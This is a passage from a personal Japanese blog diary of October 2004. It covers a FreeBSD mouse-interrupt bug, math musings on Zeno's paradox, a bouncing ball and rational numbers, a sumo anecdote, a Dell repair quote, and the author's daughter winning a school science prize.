というわけで、どうもマウス割り込みが長時間割り込み禁止となる原因だったようです。これならばキー入力中とか、人が通った時とか、まれにちょっと揺れた時とかにデーターが欠落することにも納得です。ところで、こういうテストの常として、コンソールモードで実験をしていたのですが、実際の運用では X を使用する場合もあるので、マウスの動きでデーターが落ちては非常に困るのです。そこで恐る恐る X を立ち上げてマウスを動かしたところ、
こんどは落ちませんでした。
結論から言いますと、どうもコンソールモードでのマウスドライバーの挙動が余りよろしくないようで、起動時に moused を有効にしない設定にして、 XF86Config に /dev/psm0 を陽に記述すればなんとか回避出来そうです。それと Alt-Ctrl-Fn による画面切替えも割り込みを落とす原因になるのですが、こちらは運用で回避出来そうです。いやはや、実はこの件に関して、一週間近く悩んでいたのですが、まさかコンソールモードでのマウスが問題だったとは全く気がつきませんでした。いずれにしてもこれで一安心だったりするのでした(^^。
もしかしてクロックジェネレーターのこの結線も悪かったかも知れない(^^。穴に刺さっている銀色の金属はクリップだったりします。

2004年10月31日(日)

アキレスと亀
先日ボールの跳ね返りに関する思いつきを書いたのですが、ちょっと考えてみるとこの論法は「ゼノンの逆理」の考察にも応用出来ると気がつきました。「ゼノンの逆理」は有名でみなさんご存知だと思いますが、いちおう記述しておきますと、
[ゼノンの逆理]
アキレスと亀がかけっこをすることになり、鈍足亀の要望により、亀はアキレスより 10秒前に走り出すことになりました。さて亀が $A_0$ 地点にいるとして、いずれアキレスは $A_0$ 地点に到達します。ところがそのとき亀はほんのちょっと進んでいるはずで、その位置を $A_1$ とすると、アキレスが $A_1$ 地点に到着するのに若干の時間を要することになりますが、そのときやはり亀はちょっとだけ進んでおりまだアキレスは追いつけない。以下 $A_n$ 地点にアキレスが到着した場合、亀はやはり少し前に進んでいるのでアキレスは永久に亀に追いつくことは出来ない。
ということなのです。もうすこし図式的に記述すると、
アキレスが $A_0$ 地点に到達。そのとき亀は $A_0~+~p_0$ 地点まで到達
アキレスが $A_1~=~A_0~+~p_0$ 地点に到達。そのとき亀は $A_1~+~p_1$ 地点まで到達
...
アキレスが $A_n~=~A_{n-1}~+~p_{n-1}$ 地点に到達。そのとき亀は $A_{n}~+~p_{n}$ 地点まで到達
...
という感じです。もちろん上記は全然逆理ではなく、亀の速度ががアキレスより遅いと仮定すれば、
$\sum_{n=0}^{\infty}{p_n}$
が収束し、アキレスは有限の時間(速度が一定ならば移動時間は距離に比例) で亀の位置に「到達」出来るのです。
せっかくなので具体例で計算しますと、亀ではあんまりのろすぎて計算しにくいので、アキレスと私が競争したと仮定します。アキレスは 10m/s の速さで、私はまあ 5m/sec ということにします。そして私が 10秒前にスタートするということで。まず普通の計算で何秒後に追いつかれるかと言いますと、これは小学生の問題で、(アキレスがスタートしてから)10秒後ということがすぐに分ります。それではさっきの論法で $A_0~=~0$ をスタート位置とすると、アキレスがこの位置に「到達する」のは、スタートが 10 秒遅れなので 10秒後と考えて良く、その時の私の位置は $A_1~=~A_0~+~50~=~50.$ 以下同様に
$A_2~=~A_1~+~50/2\cr~A_3~=~A_2~+~50/4\cr~\cdots\cr~A_n~=~A_{n-1}~+~50/2^{n-1}\cr~\cdots$
すると
$\sum_{n=0}^{\infty}{p_n}~=~50~\sum_{n=0}^{\infty}{1/2^n}~=~100$
となり、私が 100メートル走ったところで貯金を使い果たし、アキレススタート後 10秒後に追いつかれることが、こちらの計算でも確認出来るのでありました。
余談ですが、たまに 0.99999... は 1 にならないと主張する「とんでも君」がいたりしますが、その人の論法を信じると「アキレスは本当に亀に追いつけない」ということになります。

2004年10月30日(土)

表彰式
今日は第３５回藤沢市総合かがく展の優秀作品の表彰式ということで、モカ・奥さま・私三人で、こちらに出かけまして、表彰状と記念品をもらい、さらに姫は受賞作品の内容や苦労話に関するスピーチを行いました。とても良いスピーチでした。

本当は式というのはあんまり得意ではないのですが、こういう場合はなかなか気分が良いものです。まさに親ばかです！！。さらにモカの学校の担任の先生もわざわざ来て下さりまして、みんなで写真を撮ったりしたのです。式に行ったついでに、色々作品を見てきたのですが、力作・労作が沢山展示されており、聞いたところによりますと、最優秀を決めるときも審査の先生方がかなり苦労されたのこと。上の方のレヴェルでの優劣の評価に関しては運の要素もかなりあることを痛感したのであります。式終了後ファミレスで食事して帰宅。

2004年10月29日(金)

まわし
とつぜん子供から質問が...。
パパー、相撲でまわしがほどけたら反則負けでしょ。それなら相手のまわしをほどく技ってないの～(^^。
さすがに私の娘！！。なかなか鋭い観点で物事を考えます。それにしても親子の血は争えないもので、実は私も小さい頃父親におんなじことを聞いて、「下らんことを考えてるんじゃない」と怒られたことがあったりします。
ところが上記重大なる疑問に関しての半公式見解が、相撲協会と密接なる関係がある「大相撲」(「相撲」だったかも知れない)という雑誌に掲載されたことがあるのです。30年程前のことなのですが、読者の質問コーナーでおんなじ様な質問がありまして、回答としては、
- そもそもそんな馬鹿なことを考える相撲取りがいるわけがない。
- よしんばそのような不心得者がいたとしても、まわしは非常にきつくしめられているので、相手のをほどこうとしている間に自分が負けてしまう。
という感じのものだったのです。うーむ、いまいちつまんないですねー(^^。それよりも面白かったのは、こちらも大分昔の話で、テレビで夜の 7時半から毎日 15分くらいやっていたクイズ番組があったと記憶しているのですが(名前を覚えている人がいたら教えて下さい)、その中での事件なのです。クイズの問題が、
相撲には技でない決まり手が二つあります、一つは「勇み足」ですがもう一つは何でしょう。
というものでして、問題の意図としては、自滅してしまう負け方は何かということで、正解は「腰くだけ」なのです。ところがやっぱり面白いこと考えちゃう人っているもので、
- ぴんぽーん ←回答ボタンを押した音
- 山田さん(仮名)どうぞ ←アナウンサー
- 笑いをこらえながら、「まっ、まっ、まわしがほどけたとき」 ← 山田さん
- ブー ←不正解
- うっうぷっ...え～～正解は「腰くだけ」です ←アナウンサー
なる事態に陥りまして、いやはや他の回答者は大笑いしているし、山田さんはとっても恥ずかしそうな表情になり、さらにアナウンサーも笑いをこらえるのに必死の様子で、もちろん私もテレビの前で大笑いしていたのです。
ところで、まわしがほどけるといえば「ゆるふん」です。最近は相撲を見ることもほとんどなくなったので、断言は出来ないのですが、昔に比べると「太りすぎ」の力士が増えた割には、露骨な「ゆるふん」力士は減ってきたような気がします。一昔前「ゆるふん」を武器として横綱まで上りつめた力士としては、輪島・三重の海・旭富士あたりが代表だと思うのですが、本当にほどけそうになる場面も多く、はらはらどきどきわくわく感があったような気がします(^^。最近はそのようなことも少なくなったのが相撲人気の凋落傾向に拍車をかけているのかも知れません(←おおうそ)。

2004年10月28日(木)

ぼったくり
私が勤めている会社では、5年ほど前に購入した、すでに保証期限切れの Dell の高級サーバー(すごく高かったそうな...)を業務用のデーターベースサーバーとして使用しているのですが、数日前からハードウエアー異常検出ランプが灯るようになったのです。
そこで担当の人が Dell のサポートに連絡したところ、ブート可能な診断フロッピーを作成する EXE ファイルが送られてきまして、フロッピー自体は簡単に作ることが出来たのです。ところがそれをサーバーに挿入して電源を入れたのですが...
フロッピーディスクを読み込むことが出来ません(-_-)
肝心のブートデバイスが壊れてしまったのでは、原因を調べるのは不可能です。ただし普段アクセスしていないフロッピーの故障を自動検知するとも思えないので、異常検出ランプ点灯の原因は他にありそうです。
てなこと考えながらフロッピーを「むにむに」しながら何回かブートを試みたところ、一回だけ運良くブートしたのです。どうも長年使っていなかったので、ごみがたまっていたようです。というわけでフロッピーに書き込まれた診断ファイルなるものをサポートに送ったところ、背面のファンの回転数が下がっているとのこと。「なんだファンなら送ってもらって交換すれば数千円で済むな～」ということで見積りを依頼したのですが、Dell の回答は、
部品だけをお送りすることは出来ません。技術員出張で６万うん千円頂きます(-_-)
とのことなのです。それは高すぎるのでは、と色々交渉したのですが、ファン自体に特殊なネジを使用しているそうで、普通の工具では交換が不可能らしく、とにかく部品のみの発注は出来ないそうなのです。
うーむ、どうも特殊なネジを使っているあたり、あえて普通の人が交換出来ないようにするための仕掛けの様に思えるし、本音としては保証期限が過ぎた PC など使用せずに新しいのを購入しなさい、ということだと思うのですが、なんともはや、保証期限が切れたとたん「ぼったくり」モード突入の印象は否めません。個人的にはやたら高いサーバー様を置いとくよりも、普通のマシン２台体制で運用した方が、コスト的にも安定性からみても得だと思うのですが、いまさらシステムを新しくするのも大変そうだし、マシンを新規購入しない限り、高いお金を払い続けることになりそうな予感がします。

2004年10月27日(水)

モカちゃん一等賞をとる
今、藤沢市教育委員会主催の第３５回藤沢市総合かがく展というものが開催されているのです。その中のコーナーで、
市内小中学校の児童生徒および市民の理科研究作品約１４００点の展示
というものがありまして、市内各小中学校の夏休み理科自由研究の中から優れた作品を選ぶのでが、やったーやりました～！！。モカちゃんが
小学生の部最優秀賞(^^)
を受賞したのです。

姫のお題は「うずまき」で、内容は「アサガオのつる」と「水のうず」に関する観察・考察なのです。もともと北半球と南半球のアサガオのつるの巻く向きが逆になるのでは、という誤った仮説から始めた研究なのですが、身近に発生するうずが「コリオリの力」に関連しているのか、という風にテーマを一般化したのです。実際台風の渦に関しては、コリオリの力により、北半球と南半球により向きが変わるのですが、モカちゃんの結論としましては、アサガオのつるの向きや、お風呂の排水口から流れでる水の渦の向きの様な、地球規模に対して小さな現象に関しては、コリオリの力は関与しないことが推測されるということだったのです。
もちろんアサガオのつるの向きに関しては、南半球まで調べに行くことは出来ないので、教えて頂いた知識や、逆さアサガオの考察による推測です。また身近に発生する渦巻に関しては、お風呂で何回も実験を行い、左右両方の向きの渦が発生したということからの推測なのです。さらにこの実験により、渦が大きいほど単位時間あたりに水の流れる量は少なくなる、という推測も得られまして、この事実に関する考察としては、「200 回の実験を行い、渦が大きいほど中心部で水が流れていない部分の断面積が大きいことを観察した。従って実際に水が流れる部分の断面積が減少する」ということだったのです。
本人もとても喜んでおります。アサガオについて貴重な助言を下さった方々に改めて感謝いたします(^^。

2004年10月26日(火)

ボールは止まる・止まらない？
今日は案外真面目な問題。
1 メートルの高さからボールを落としたとして、このボールは 0.9メートルの高さまで跳ね返るとします。2回目は 0.9x0.9 = 0.81メートルまで、3回目は 0.9x0.9x0.9=0.729メートルまで跳ね返るわけです。さて問題。
このボールはしばらくすると一見静止状態となりますが、本当に静止するのでしょうか。それとも跳ね返りが余りに小さくなり静止しているように見えるだけで、本当は永久に動き続けるのでしょうか。ただし理想的なニュートン力学の状況を仮定し、量子論的なゆらぎ、その他ボールの材質等の原子論的な「ごたごた」は考えないこととします。さらにボールが上昇した場合(地球から離れるので)若干引力が減少するのも無視します。
この問題は昨日の帰りの電車で思いついて解いてみたものなのですが、計算自体はそんなに難しくありません。まず自明なこととしては、
n 回目の跳ね返る高さは 0.9ⁿ メートルなので無限回跳ね返る
ということです。それでは「無限回」の跳ね返りに必要な時間を計算してみましょう。一般に初速度 $v$ で地上から跳ね返ったボールの速度が 0 になる(つまり最高の高さまで上がる)のに経過する時間 $t$ は、ボールが重力加速度 $g$ でひっぱられるということで
$t~=~v/g~\qquad~~{\rm~(a)}$
となります。またそのときの初速度と最大高さ $h$ の関係は運動エネルギーと位置エネルギーの関係 ${{1}\over{2}}~{mv^2~=~mgh}$ により、
$v~=~\sqrt{2gh}~\qquad~{\rm~(b)}$
(a)(b) から $v$ を消去すると、跳ね上がってから最高の高さまで上がるのに必要な時間は、高さの関数として、
${\large~t}~{\large~=}~\sqrt{{\large~2h}\over{\large~g}}$
と表されます。最初の問題で 0.9 と書いたのを一般に(弾性率というのかな...) $\alpha$ で表すと、ボールが振動する時間の合計は、
$\sqrt{{\large~2}\over{\large~g}}~+~~2~{\large~\sum_{n=1}^{\infty}\sqrt{{\large~2~\alpha^n}\over{\large~g}}}$
となります。最初の項は一回目に落っこちる部分で、以降は上がって落ちるので無限級数全体を 2 倍しているのであります。ところがうれしいことに、上記無限級数の項は公比 $\sqrt{\alpha}$ の等比級数となるので、 $\alpha~<~1~$ ならば収束します！！。というわけでちょっと計算するとボールが動いている累計の時間は、
$\sqrt{{\large~2}\over{\large~g}}~{(\Large~{{1+\sqrt{\alpha}}\over{1-\sqrt{\alpha}}})}$
となり $\alpha~=~0.9$ の場合 17.1 秒後に無限回振動して完全に停止するのでした。
＃累計時間が収束することは間違いないと思いますが、細かい計算は間違っているかも。
＃そもそも 17.1 秒って少し大きすぎるような気ももするし...。
＃変なところがあったら教えて下さい。
↑
地球物理学の博士から「間違ってなさそう」というお墨つきを頂きました(^^。

2004年10月25日(月)

完全に限界ご家族さま PC
ご家族さまが使用している PC は 3年以上前に購入した Celeron 600MHz 程度の激とろものなのですが、最近はもともと遅いのを差し引いても、使用に耐えない状況になってきたようです。症状としては、
1. 起動して使用可能になるまで 5分くらい時間がかかる。
2. 起動中にリブートする場合がある。この場合 1 の条件があるので使用可能になるまで 10分もかかる。
3. 起動したままユーザーの変更を行うとシャットダウン中に固まる。
4. 先日奥さまのブラウザのブックマークが突然消滅した。
5. 先日長女のブラウザのブックマークが突然消滅した。
6. 先日二女のブラウザのブックマークが突然消滅した。
7. 先日モカちゃんのブラウザのブックマークが突然消滅した。
あたりでして、特に 2番目の症状に関してははハード不良の疑いもあるのですが、新しいのを買うお金もないので、とりあえず次の土日あたりに、二年近く放置した Windows2000 の再インストールをやってみるのが良さそうです。奥さまや子供達の話を聞くと、メール・ブックマーク・その他少々のデータ以外は置いてないそうなので、バックアップは比較的楽そうです。ただし全員何をどこに置いたかを把握していないので、調査する必要があるのと、バックアップ忘れがない様にに注意しなければいけません。
＃そういや二女とモカがユーザー辞書とか言ってた。
＃どうやってバックアップするのだろう(^^。

2004年10月24日(日)

一夜漬け
実は明日会社で財務に関する研修会というものがありまして、まあ言葉くらいは知っとかないといけないかな～、ということで参加希望をしてあるのです。ところが、お話聞いていれば良いのだろうと思っていたのが甘い考えで、なんか本格的な講師がきて下さるそうで、さらに
予習用の宿題が出ている
のでした(^^。講習の担当の方は本当に一生懸命準備をして下さっているので、あんまりいいかげんな態度で参加するわけにもいきません。なので、本来はもっと前から勉強しておかなければいけなかったのですが、とにかく何も予習しないで失礼があっては大変なので、本日一夜漬けの勉強だったりするのです。
こういうお金がらみの勉強は生まれて初めてなのですが、本当に難しいです。例えば「資本金」とかの意味もいまいち分らないし、良識のある親ならば、借金は「良くないこと」であると子供に教えると思うのですが、どうも企業の場合はそうでないらしく、企業のお金というのは一般の常識とは異なる動きをするようで、謎は深まるばかりだったりするのでした(^^。

2004年10月23日(土)

避難訓練
今日、新潟県で大きな地震がありましたが、数日前モカちゃんの学校で避難訓練があったなのです。ところが、その日は丁度当時担任の先生がお休みで、子供達だけで校庭に避難するということになってしまい、その結果先生が誘導するよりは若干の遅れが発生し、結局全学年で一番遅くなり、姫のクラスのみがもう一度教室に戻り避難のやり直しになったのです。
問題はその後でして、次の授業を行った先生が、「あなたたちが遅いから授業の時間が短くなってしまった」ということで、色々文句を言い始めたのです。この先生は今年からモカの学校に転任してきた人で、あまり評判が良くなく、モカは相手が大人でも良くないことははっきりと言うので(私もしょっちゅうおこられている...)、この件に関しても「私達は先生がいないのに自分達だけで一生懸命避難した」と発言したそうなのですが、その後も先生はいろいろ文句を言い続けて、非常に険悪な状態になったそうなのです。さらに、丁度そのとき校長先生が通りかかり、「みんな一生懸命避難したのだから」とその場をおさめようとしたのに、先生は納得せず延々と文句を言い続けたのです。
もちろん校長先生としては、担任の先生がお休みとはいえ、避難訓練で誰も誘導しなかったのはまずいと認識されていたと思うのですが、その先生はそのようなことを理解する能力を全く持たないようです。本当に避難が必要な事態に陥った場合、運悪くこの先生の授業中であったりするとさらなる混乱が予想されます。そのような運の悪い事態にはなって欲しくないのですが、もっと根本的な問題として、一人だめな先生が他校に転出すると、必ず別のだめな先生が転入してくる(もちろん学校間でトレードしているのです)、という悪循環をなんとかして欲しいものです。

2004年10月22日(金)

ピン配置ではまる
ちょっと前まで VHDL にて FPGA がらみの開発を行っていたのですが、今日はお客さまから具体的なピンの配置図を頂きまして、それを元に定義ファイルを作ったのです。ところがこれが予想以上に大変なのです。まずピン配置図が PDF 形式でコピペ出来ないし、印刷すると字が小さくて私の視力では読めないのです(^^。
というわけで PDF のファイルを PC 上で拡大して定義ファイルを作り始めたのですが、ピンが 300本以上あるので、とってもとっても面倒なのです。さらに例えばデーターバスなど、VHDL 言語上では
SIGNAL D:std_logic_vector(31 DOWNTO 0)
という風に記述出来るのですが、実際のピン定義ファイル上では、
```
D[31]  H13  ← H13 というのがピンの位置を表す
D[30]  L14
D[29]  L13
D[28]  J16
...
```
の様に一本ずつ具体的に記述する必要があり、抽象的にはデーターバス 32本を一つのものと考えて良いのに、あたりまえとはいえ規則性がないのを絵を見ていちいち書かにゃあかんのです。それにしてもこんなのが 300以上ですよ。さんびゃく以上！！。
結局 15本位書いたところで精根つき果て(おい^^)、読み上げの応援をお願いすることになったのです。お願いした方はいつも親切にしてくださる H さんでして、いやはや本当に面倒な作業なのに、いやな顔もせずに正確に読み上げて下さり、どうもありがとうございました。ちなみに H 氏は愛知県出身の熱烈なる中日ファンでして、今日は西武球場まで日本シリーズを観戦しに行かれたはずなのですが、結果を見ますと中日が快勝したようで、まあ人助けをしたご利益があったということでしょうか(^^。

2004年10月21日(木)

お財布を忘れる
今朝は奥さまに駅まで車で送ってもらったのですが、車から降りて改札で定期を出そうとしたら、
お財布がありません(-_-)
むむむっ、これはなんというまぬけな...。さらにおうちの鍵もしっかり忘れていたのです。実は前にもこんなことがありて、そのときは駅前の交番に駆け込んで「明日必ず返しますから、会社にたどりつく 600円だけ貸して下さい」とお願いしたことがあるのですが、そういうことは出来ないということだったので、こちらは頼りになりません(＊)。最大の問題は鍵を忘れたということで、タクシーに乗ったり、30 分くらい歩いて帰ったとして、奥さまがそのままどこかにおでかけで、おうちに誰もいない場合路頭に迷うことになるのです。この場合モカちゃんの小学校に行って鍵をもらう、という作戦も考えられないではないのですが、いくらなんでも逆の状況ならともかく、親が子供に鍵をもらいにゆくというのも、とっても恥ずかしい事態だと思うのです(^^。
てなこと考えながら、何回かおうちに電話をかけたところ、運良く奥さまが出て下さりまして、結局もう一度車を出してもらって、駅までお財布と鍵を持ってきてもらったのです。いやはや、それにしても普段はぎりぎりまで寝てて、あわてて会社にゆくという毎日なのですが、今日は比較的早起きをしまして、のんびり朝食を食べたりしていたのですが、こういうときに限って忘れ物をするんですね。今度から気をつけないと...。
(＊) 当時は携帯とか PHS 持っていなかったので、頼み込んで電話代の 10円だけ貸しもらい、ちゃんと次の日返したのでした。

2004年10月20日(水)

くるくる電車
今朝奥さまと、通勤電車ってとっても込んでるからいやだね～、という話題になったのです。そもそもあんなに間隔が空いているのだから、もっと電車を増やせば良いのではと思うのですが、諸般の事情ありて今以上に増やすのは困難なのなのかな、などと話をしているまさにその時に、素晴らしい理論を考えついたのでした。
電車と電車の間にすき間があるから良くないのであり、全部繋げて一本の電車にすれば良い(^^。
むむむむむっ、これは本当にすばらしい！！人類の歴史上最も偉大かつ完璧なる理論ですな。ということで奥さまに話をしたのですが、奥さまのご意見としては、「例えば新宿と藤沢を全部電車でつないだら動きがとれなくなるじゃない」ということなのです。しかしながら、もちろんそんなことは事前に考えてありまして、この問題を解決するためには、上りと下りの線路を繋いで環状にして、長大な電車をくるくる回せばよいのです。ところがさらに奥さまの疑惑は続き、「どうやって降りるのよ。例えばある場所に座っていたとして、停車したら丁度駅と駅の真中だったら困るじゃない」ということなのです。ふふふふふっ、私の理論をあなどるなかれ...
駅も全部繋いでしまえば良いのだ～(^^
そもそも今回の大発見は、東京駅で新幹線に乗る場合とか、ディズニーランド方面に行く場合、かなりの距離を歩かなければならないのに、おんなじ駅の中だとあんまり歩いた気がしない、という心理学的(つまり医学的)観点も十分考慮してあるのでして、その様な観点からみても究極の物理・医学理論なのです。
いずれにしても、自分が考えたということを値引いても、これほど完璧なる論理の裏づけがある理論は今まで存在しなかったことは間違いありません。というわけで、この業績により、史上初のノーベル物理学・医学生理学賞同時受賞は間違いないと思うのでありますが、やっぱりだめかな...(^^。
＃奥さまに「そんなら長い高速エスカレーターみたいなの作ってもおんなじじゃない」
＃とつっこまれて、うーむと考え込んでしまったのは内緒なのです。

2004年10月19日(火)

モカちゃんぱどタウンにはまる
なんかご家族さま用 PC の前で姫が一生懸命書き込みしているので、なにかな～と思って覗いたところ、「絶対みちゃだめ～」ということなのです。そこで、「見ないから何やってるか教えて」と聞いたところ、ぱどタウンにおうちをこしらえて、お友達とチャットとか色々やっているそうな。どうも同級生に誰かいいだしっぺがいて、参加している子もかなり多いらしいのです。いやはや、こういうのがあるという噂は聞いていましたが、モカちゃんもしっかりはまっていたとは知りませんでした。
さらに、姫にはあんまり関係ないらしいのですが、不快な書き込み等のトラブルもいくつか発生し、親が先生の所に苦情を持ち込んだ例もあるそうな。私の感覚ですと、これは学校外での当事者同士の問題なので、先生に苦情を持ち込むのは筋違いだと思うのですが、奥さまの意見によりますと、「親同士が直接談判するとかえってこじれるので、間に先生を通した方が良い場合が多い」そうな。うーむ、小学校の先生も仮想の世界でのいざこざまで持ち込まれるとは、なかなか大変なご時世になったものです。
＃ちと探索したけど姫の家らしきものは発見できず(^^。

2004年10月18日(月)

LUMIX の SD カード転送速度
確かに遅いです(^^。LUMIX の USB インターフェースをカメラと PC 直結で使用すると、体感的に SD カードリーダーから読み取る 5倍程度時間がかかる感じはしていたのですが、ちゃんと計測してもその通りなのですね。まあこのあたりはほとんど意味なく一緒に付いてくる 8M バイト程度の SD カードとおんなじで、単なるおまけと考えた方が良く、いまいち実用性に欠けることは事実のようです。ただしおまけの SD カードが全く役に立たないのに反して、USB インターフェースの方は、外に出ているとき PC に写真をアップロードしたくなった場合等、少しは役にたつ面もあったりします(^^。撮った写真を SD カードに書く部分は、速度が命なので、ほとんどハードウエアの制御と DMA 転送にて行われるのに対し、SD カードから USB 経由の部分はあんまり速くない CPU による I/O 転送なのかも知れません。

2004年10月17日(日)

一回休み

2004年10月16日(土)

Firefox-1.0 インストール
Firefox-1.0PR がなかなか FreeBSD の ports に反映されていなかったのと、たまに落ちる(＊)以外は不都合もなかったので firefox-0.9.3 のまま放置してあったのですが、やっとヴァージョン 1.0PR が ports に反映されたようなのでさっそくインストールしました。ついでに依存する環境も綺麗にした方が良いあろうということで、
# /usr/local/sbin/portupgrade -R firefox-0.9.3_1
なるコマンドを実行したところ、色々依存する ports がアップデートされた後、めでたくfirefox-1.0.1.p_2 なる ports がインストールされたのでした。ところでこういう大きなプロジェクトの場合内容のことは置いといて、 Makefile がすごいな～、といつも思いまして、特に FreeBSD の make world なんて神技としか思えません(^^。
肝心の使い勝手なのですが、まあ今までとあんまり変わらないというか...。ただし割りと良く遊びにゆく所で、そのたびに firefox が落っこちるサイトさまがあったのですが、そちらは大丈夫になったようです。
(＊) おそらくたまに落ちる原因は Firefox の本体が原因ではなく Flash 関連のプラグインが原因と思われます。

2004年10月15日(金)

日食予定
昨日「皆既日蝕を見る機会なんて一生ないだろうな」と書いたら、 H さんからつっこみがありまして、2012年5月21日に東京で金環食が見れるそうな。さらに 2035年には本当の皆既日食がこれまた東京で見えるということなのです。まあ 2035年はもう生きてないと思うのですが、2012年はよほど運が悪くなければ生きているような気がします(^^。ところでもちろん一番問題なのはお天気でして、こんなに正確なことが分るのならば 2012年のお天気なんて簡単に分るよね～、と言ったところ、こちらは非常に難しいとのこと(←あたりまえ^^)。そもそも、日食が滅多に起きないのは、もちろん月の軌道と太陽の軌道がちょっとずれているからでして、日食を多くするために太陽を動かすのは大変そうなので、月を動かすことを目標とすると、
- 月に大量の土砂を持ち込み月を大きくする。
- 月の軌道をなんとかして太陽の軌道に合わせる。
- 月と地球の距離をなんとかして現行の半分位にする。
などが考えられるのですが、こちらも H さんの説によるとなかなか難しいとのことでして、H さんは私の偉大なるアイディアを次から次へと否定するのです。うーむ、どこが悪いのだろうか。確かに、最後の案は万が一失敗して月が地球に落っこちてくると困ったことになるのは分るのですが...(^^。

2004年10月14日(木)

有理整数の意味
例えば昨日の記事のように、この日記では通常「整数」と呼ばれているもの ${\large~(\cdots,-3,-2,-1,0,1,2,3,\cdots)}$ を「有理整数」と書くことが多いのですが、一応意味を書いときます。実は数学の世界では通常の整数のみを「整数」と呼ぶのではなく、方程式、
${\large~x^n~+~a_{n-1}x^{n-1}~+~\cdots~+~a_1~x~+~a_0~=~0}$
の解(ただし ${\large~a_{n-1},a_{n-2}~\cdots,~a_1,a_0}$ はすべて「普通の整数」)のことも整数と呼ぶ場合が多いのです。最高次の係数が 1 であることが重要です。例えば意外に思われるかも知れませんが、
${\large~\sqrt{2}}\cr~{\large~{1+\sqrt{3}i}}\over{\large~2}$
はそれぞれ
${\large~x^2~-2~=0}\cr~{\large~x^2~-~x~+~1~=0}$
の解になるので「整数」なのです。それにしても $\sqrt{2}$ や ${\large~{1+\sqrt{3}i}}\over{\large~2}$ が整数だなんて中学や高校のテストで回答したら×になってしまいますね(^^。この様に整数の意味を拡張したのはガウス(C.F.Gauss)の数論研究に始まり、それ以来整数の研究に対する非常に強力な概念となったのです。というわけで、この日記では普通の整数ということを強調するために「有理整数」なる言葉を多用しているのであります。ついでですが、有理数で拡張された整数になるのは、普通の整数だけです。例えば ${\large~1}\over{\large~3}$ は ${\large~3x-1=0}$ の解であり、この方程式の最高次の項は 1 ではありません。
日食見えず
理由は良く分らないのですが、昨晩 11時半頃に寝たら、早朝 2時頃目が覚めてしまったのです。さらになかなか寝つけなくて、とうとう朝の 4 時半頃になり(この間に昨日の日記を書いたりしていた)、もしこのまま寝てしまったら絶対に朝起きれない、ということで結局半分徹夜のような状態で定時より一時間も前に出社したのです。そういうことで今日はとっても眠いのですが、仕事しないわけにもゆかないので、ぼちぼちやってます(^^。ところで早朝に空を見たところ、もうオリオン座やシリウスの季節なのですね。季節の移り変わりは速いものです。でもお昼前は曇っていて部分日食を見ることは出来なかったのでした。皆既日食を見る機会なんて一生ないだろうな。残念！！

2004年10月13日(水)

比と有理数
モカちゃんが勉強している算数のテキストををみてたら、今は「比とその値」らしきものをやっている様なのです。それにしてもいつも思うのですが、小学生の算数あなどるなかれ。「比」という概念って分りにくいですね(^^。ちょいと引用致しますと、
$B$ に対する $A$ の割合を $A\,:\,B$ と書き $A$ と $B$ の比と呼ぶ
ということだそうで、さらに
$A$ を $B$ で割った値を比の値と呼ぶ
そうなのです。まあこんなことは誰でも知っている当り前のことなのでしょうが、これを眺めていて、そういえば比というは有理数を構成する中間段階で出てくるな～、と思ったのが本日のお題なのです。
数学を勉強したことある人以外には余り知られていないと思うのですが、(有理)整数の概念は分っているものとして、通常有理数は次の様に「作られ」ます。まず(有理)整数(...-3,-2,-1,0,1,2,...)全体の集合を ${\bf~Z}$ としまして
$A~=~\{(a,b)\,|\,a\in{\bf~Z}\,\wedge\,b\in{\bf~Z}\,\wedge\,b\neq{0}\}$
なる集合を考えるのです。そして $A$ 上の同値関係 $\sim$ を
$(a,b)\sim{(c,d)}\,\leftrightarrow~ad~=~bc$
にて定義し $\sim$ に関する商集合
${\bf~Q}=A/\sim$
を考えると、これがめでたく有理数全体の集合となるわけです。こんな準備をして、小学校のテキストの定義を見直すと、 $a:b$ を $(a,b)$ のことと思えば、 $A$ が丁度「比」全体の集合になっているのですね。うーん、これは初めて気が付きました。さらに「比の値」は同値関係 $\sim$ に関する $A$ から ${\bf~Q}$ への標準写像 $\pi:A~\rightarrow~{\bf~Q}$ による像として定義出来るのです。これは勉強になりました！！実はさっきまで「比」と「有理数」はおんなじものだと思っていたりしたのですが、それは間違いで、「比の値」と「有理数」がおんなじものなのでした。ちょっと具体的に実例を挙げますと、
比 $3:4$ と $6:8$ は違うもの。しかし前記の二つの比の「値」 $3/4~=~6/8$ は同じものである。
ということなのかな。いやはや、それにしても小学校の算数のテキストというものも、ちょっと読んでみると、つっこみどころ満載であると再認識したのでありました(^^。
余談ですが、昔 $0:1$ や $1:0$ は意味があるのか、という議論になったことがあるのですが、 $0:1$ の値は $0/1~=~0$ なので意味があるが $1:0$ の「値」は $1/0$ なので無意味であるというというのが、私の見解だったのでして、この考えは今でも変わっていません。

2004年10月12日(火)

いもむしくん
今朝、通勤の電車に乗ったらなんか首のあたりがむずむずと。どうしたのだろう、と思って手をやったら、
なんかむにゅっとした感触が...
こここっ、こっ、これはいもむしくん！！。わーーー、私こういうのだめなの。たすけて～～～(^^。というわけで何とか手で払いのけたのですが、電車の床に落ちたはずのいもむしくんを見る勇気もなく、さらにじたばたしてたので、回りの人達からは不審の目で見られるし、いやはや連休明け早々とんだ災難だったのでした。さらにその顛末を奥さまにメールしたところ、
> むにゅっとした感触が(^^ ← これが私書いた部分。
いもむし、かわいそう・・・
いもむしだって、変なところに落っこちていい気はしてないはずです。
なんていう返事が来たりして、全く同情してもらえないというダブルパンチだったのであります。余談ですが、モカの運動会の日も、背中にいもむしくんがかなり長時間くっついていたそうで、これは他のうちの子のおかあさんが見つけてくれて、ありがたくも払ってくれたのですが (これも恐くて見れなかったし大声上げてじたばたしたので笑われたし...)、もしかして今年はいもむしの当たり年なの？やだやだそれだけはご勘弁を(^^。

2004年10月11日(月)

モカちゃんリュックを買う
モカちゃんが二三ヶ月前から「もうランドセルはやだ！！」と言い出しまして、話を聞いてみると、今やクラスでランドセル通学してるのは、モカちゃん含めて三人だけなそうな。ということで今日は奥さまとモカ姫と通学用のリュックを買いに行ってきたのです。買いに行って悩んだのは、大きめのでさらにちょっと高いのを買って、中学校に行ってからも継続して使用する予定とするか、これから一年半位しか使わないと割り切って、そんなに大きくなく安いのを買うべきかなのですが、お店をいくつか見たところ安くて使い易そうなのがあったので、割とちっちゃいのを購入しました。さて残り二人のランドセル組は今後どのような行動に出るのでしょうか。ちょっと興味があったりします(^^。いずれにしても、約十四年に渡り三代続いた我が家のランドセル生活も終演となりました。

2004年10月10日(日)

正則の公理
[集合論雑記目次]
